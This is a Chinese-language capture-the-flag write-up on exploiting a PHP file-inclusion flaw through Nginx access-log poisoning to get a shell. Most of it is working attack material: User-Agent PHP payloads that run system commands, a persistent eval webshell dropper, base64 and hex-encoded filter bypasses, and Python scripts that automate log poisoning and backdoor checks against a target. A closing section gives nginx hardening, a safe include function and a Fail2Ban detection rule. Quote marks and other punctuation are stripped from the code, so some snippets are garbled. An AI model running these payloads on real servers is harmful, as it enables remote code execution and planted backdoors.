CTFShow 萌新区 Web 17-21 通解:Nginx 日志包含漏洞利用与 3 步 Getshell Nginx日志文件包含漏洞深度利用从注入到Getshell的完整攻击链1. 漏洞原理与Nginx日志机制解析Nginx作为主流Web服务器其访问日志(access.log)默认记录所有客户端请求信息。当PHP应用存在文件包含漏洞且未正确配置日志路径时攻击者可通过污染日志内容实现代码注入。日志记录关键字段$remote_addr- 客户端IP$request- 请求行(GET/POST等)$status- 响应状态码$http_user_agent- 用户代理(常被忽略的安全盲区)典型漏洞触发条件PHP应用使用include/require等函数动态包含文件包含路径参数未严格过滤(如?file/var/log/nginx/access.log)Nginx日志对运行用户可读# 默认Nginx日志格式示例 log_format main $remote_addr - $remote_user [$time_local] $request $status $body_bytes_sent $http_referer $http_user_agent;警告日志文件通常包含敏感信息生产环境应严格限制访问权限2. 攻击步骤拆解2.1 日志路径探测常见Nginx日志存储位置/var/log/nginx/access.log /usr/local/nginx/logs/access.log /opt/nginx/logs/access.log ../nginx/logs/access.log快速验证方法curl http://target.com/?file/var/log/nginx/access.log2.2 污染日志内容通过精心构造User-Agent注入PHP代码GET / HTTP/1.1 Host: target.com User-Agent: ?php system($_GET[cmd]);?验证注入效果curl http://target.com/?file/var/log/nginx/access.logcmdid2.3 持久化Webshell写入为避免重复污染日志建议写入持久化后门GET /shell.php HTTP/1.1 Host: target.com User-Agent: ?php file_put_contents(shell.php,?php eval($_POST[x]);?);关键技巧使用单行PHP代码避免日志换行干扰优先选择可写目录(/tmp、/var/tmp等)多次URL编码绕过基础过滤3. 高级绕过技术3.1 日志语法污染处理Nginx日志会自动转义特殊字符需注意原始字符日志记录形式PHP解析效果?php?php正常??正常破坏语法破坏语法解决方案?php system($_GET[0]); // 避免引号3.2 多阶段编码注入当直接注入失败时尝试Base64编码User-Agent: ?php eval(base64_decode(c3lzdGVtKCdpZCcpOw))?十六进制编码User-Agent: ? \x73\x79\x73\x74\x65\x6d($_GET[0]) ?3.3 自动化攻击脚本import requests import urllib.parse TARGET http://victim.com LOG_PATH /var/log/nginx/access.log SHELL_NAME backdoor.php # 步骤1污染日志 payload f?php file_put_contents({SHELL_NAME},?php eval($_POST[0]);?);? requests.get(TARGET, headers{User-Agent: payload}) # 步骤2触发包含 resp requests.get(f{TARGET}/?file{LOG_PATH}) if Warning not in resp.text: print([] 注入成功) # 步骤3验证Webshell shell_url f{TARGET}/{SHELL_NAME} resp requests.post(shell_url, data{0: echo md5(123);}) if 202cb962ac59075b964b07152d234b70 in resp.text: print(f[] Webshell激活: {shell_url})4. 防御与检测方案4.1 安全防护措施服务器配置# nginx.conf 安全设置 server { location ~* \.php$ { fastcgi_param PHP_ADMIN_VALUE open_basedir/var/www:/tmp; fastcgi_param PHP_VALUE disable_functionsexec,passthru,shell_exec,system; } location ^~ /logs/ { deny all; } }PHP防护代码// 安全包含函数 function safe_include($path) { $allowed [/var/www/templates/]; $realpath realpath($path); foreach($allowed as $prefix) { if(strpos($realpath, $prefix) 0) { return include($realpath); } } throw new Exception(非法文件包含尝试); }4.2 入侵检测指标日志监控关键词?phpin User-Agentsystem(in request URI异常文件包含尝试示例检测规则# Fail2Ban规则 [nginx-php-injection] enabled true filter nginx-php-inject logpath /var/log/nginx/access.log maxretry 3 bantime 3600 # 对应filter正则 ^\d\.\d\.\d\.\d.*(GET|POST).*\?php5. 实战案例CTFShow Web17-21完整利用环境特征PHP文件包含漏洞参数?fileNginx日志路径已知目标flag位置/flag攻击流程确定日志路径GET /?file/var/log/nginx/access.log HTTP/1.1注入执行代码curl -A ?php system(cat /flag);? http://target.com/触发包含获取flagGET /?file/var/log/nginx/access.log HTTP/1.1自动化脚本import requests def exploit(target): s requests.Session() # 污染日志 s.get(target, headers{User-Agent: ?php system($_GET[0]);?}) # 触发执行 resp s.get(f{target}?file/var/log/nginx/access.log0cat%20/flag) print(resp.text.split(\n)[-2]) # 提取flag exploit(http://ctf.show/challenge/)